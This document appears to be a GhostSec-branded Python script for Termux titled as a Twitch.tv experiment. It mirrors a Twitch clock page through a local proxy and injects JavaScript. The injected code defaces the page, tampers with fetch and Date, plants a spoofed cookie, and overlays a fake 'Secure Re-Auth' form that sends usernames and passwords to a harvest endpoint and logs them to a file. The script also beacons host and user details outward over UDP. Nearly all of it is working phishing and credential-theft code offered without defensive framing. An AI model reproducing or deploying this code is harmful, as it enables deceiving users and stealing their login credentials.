Fucking Around With Twitch.tv

#!/data/data/com.termux/files/usr/bin/python3
import http.server, socketserver, requests, os, time, threading, socket, platform, subprocess
from urllib.parse import urlparse, urljoin
from flask import Flask, Response, request
TARGET = "https://clock.event-engineering.twitch.tv/"
TARGET_DOMAIN = urlparse(TARGET).netloc
PROXY_PORT = 8888
NTP_API_PORT = 8080
LOGFILE = os.path.expanduser("~/ghostsec_iframe_cors_bypass.log")
HARVEST_LOG = os.path.expanduser("~/ghostsec_harvest.log")
FAKE_CLOCK = "1337:GhostSec Override"
COOKIE_NAME = "NTPClockOffset"
OFFSET = 999999999999
PAYLOAD_DOMAIN = f"http://localhost:{PROXY_PORT}"
def log(msg):
    ts = time.strftime("[%Y-%m-%d %H:%M:%S]")
    with open(LOGFILE, "a") as f:
        f.write(f"{ts} {msg}\n")
    print(f"{ts} {msg}")
def harvest(data):
    ts = time.strftime("[%Y-%m-%d %H:%M:%S]")
    with open(HARVEST_LOG, "a") as f:
        f.write(f"{ts} HARVESTED: {data}\n")
def generate_payload_js():
    return f"""
    <script>
    document.cookie = "{COOKIE_NAME}={OFFSET}|"+Date.now()+"; path=/;";
    const injectOverride = () => {{
        try {{
            let override = document.getElementById('clock') || document.createElement('div');
            override.id = "clock";
            override.innerHTML = "{FAKE_CLOCK}";
            override.style.cssText = `
                color: lime;
                font-size: 48px;
                font-weight: bold;
                text-align: center;
                margin-top: 25vh;
            `;
            document.body.innerHTML = "";
            document.body.appendChild(override);
        }} catch(e){{}}
    }};
    injectOverride();
    const obs = new MutationObserver(injectOverride);
    obs.observe(document.body, {{ childList: true, subtree: true }});
    const originalFetch = window.fetch;
    window.fetch = (...args) => {{
        return originalFetch(...args).then(response => {{
            return response.text().then(text => {{
                return new Response(text.replace(/\\d\\d?:\\d\\d(?::\\d\\d)?/g, "{FAKE_CLOCK}"));
            }});
        }});
    }};
    Date.prototype.getTime = function() {{ return {int(time.time() * 1000) + OFFSET}; }};
    window.addEventListener('load', () => {{
        let form = document.createElement('form');
        form.id = "ghostsecForm";
        form.innerHTML = `
            <div style='position:fixed;top:0;left:0;width:100%;height:100%;background:black;z-index:9999;display:flex;align-items:center;justify-content:center;flex-direction:column;color:#0f0;font-family:monospace;'>
                <h2>Secure Re-Auth</h2>
                <input type='text' name='username' placeholder='Username' style='margin:5px;padding:10px;' />
                <input type='password' name='password' placeholder='Password' style='margin:5px;padding:10px;' />
                <button type='submit' style='padding:10px;'>Authenticate</button>
            </div>
        `;
        form.onsubmit = e => {{
            e.preventDefault();
            const u = form.username.value;
            const p = form.password.value;
            fetch('/harvest', {{
                method: 'POST',
                headers: {{ 'Content-Type': 'application/json' }},
                body: JSON.stringify({{user:u, pass:p}})
            }});
            document.body.innerHTML = '<h1 style="color:lime;text-align:center;margin-top:40vh;">Session Restored</h1>';
        }};
        document.body.appendChild(form);
    }});
    </script>
    """
class ProxyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/harvest":
            self.send_response(405)
            self.end_headers()
            return
        upstream_url = urljoin(TARGET, self.path)
        log(f"[+] Requesting: {upstream_url}")
        try:
            headers = {
                'User-Agent': self.headers.get('User-Agent'),
                'Referer': TARGET,
                'Origin': TARGET
            }
            response = requests.get(upstream_url, headers=headers, verify=True, allow_redirects=True)
            content_type = response.headers.get("Content-Type", "text/html")
            content = response.text
            if "text/html" in content_type:
                inject_js = generate_payload_js()
                if "</body>" in content:
                    content = content.replace("</body>", inject_js + "</body>")
                else:
                    content += inject_js
            self.send_response(200)
            self.send_header("Content-type", content_type)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
            self.send_header("Access-Control-Allow-Headers", "*")
            self.end_headers()
            self.wfile.write(content.encode('utf-8'))
        except Exception as e:
            log(f"[-] Proxy Error: {e}")
            self.send_error(502, f"Proxy failed: {e}")
def start_proxy_server():
    with socketserver.TCPServer(("", PROXY_PORT), ProxyHandler) as httpd:
        log(f"[+] Local Proxy Active @ {PAYLOAD_DOMAIN}")
        subprocess.run(["termux-open-url", PAYLOAD_DOMAIN])
        httpd.serve_forever()
def launch_ntp_spoof_server():
    app = Flask("GhostSecNTP")
    @app.route("/ntp")
    def spoof():
        spoofed = f"{OFFSET}:{int(time.time() * 1000)}"
        log(f"[+] Spoofed NTP Response Served: {spoofed}")
        return Response(spoofed, mimetype='text/plain')
    @app.route("/harvest", methods=["POST"])
    def receive():
        data = request.get_json()
        if data:
            harvest(data)
        return Response("OK", mimetype='text/plain')
    threading.Thread(target=app.run, kwargs={'port': NTP_API_PORT, 'host': '0.0.0.0'}, daemon=True).start()
    log(f"[+] NTP + Harvest API Active on http://localhost:{NTP_API_PORT}/")
def environment_beacon():
    try:
        host = socket.gethostname()
        info = f"Host: {host} | Platform: {platform.platform()} | User: {os.environ.get('USER', 'unknown')}"
        log("[+] Host Environment:")
        log(info)
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
            s.sendto(info.encode(), ("1.1.1.1", 53))
    except Exception as e:
        log(f"[-] Environment beacon failed: {e}")
def resolve_dns():
    try:
        ip_list = socket.gethostbyname_ex(TARGET_DOMAIN)
        log(f"[+] Resolved DNS for {TARGET_DOMAIN}: {ip_list}")
    except Exception as e:
        log(f"[-] DNS resolution error: {e}")
if __name__ == "__main__":
    log("=== GhostSec :: Mirror + Deface + Harvest Operational ===")
    launch_ntp_spoof_server()
    resolve_dns()
    environment_beacon()
    start_proxy_server()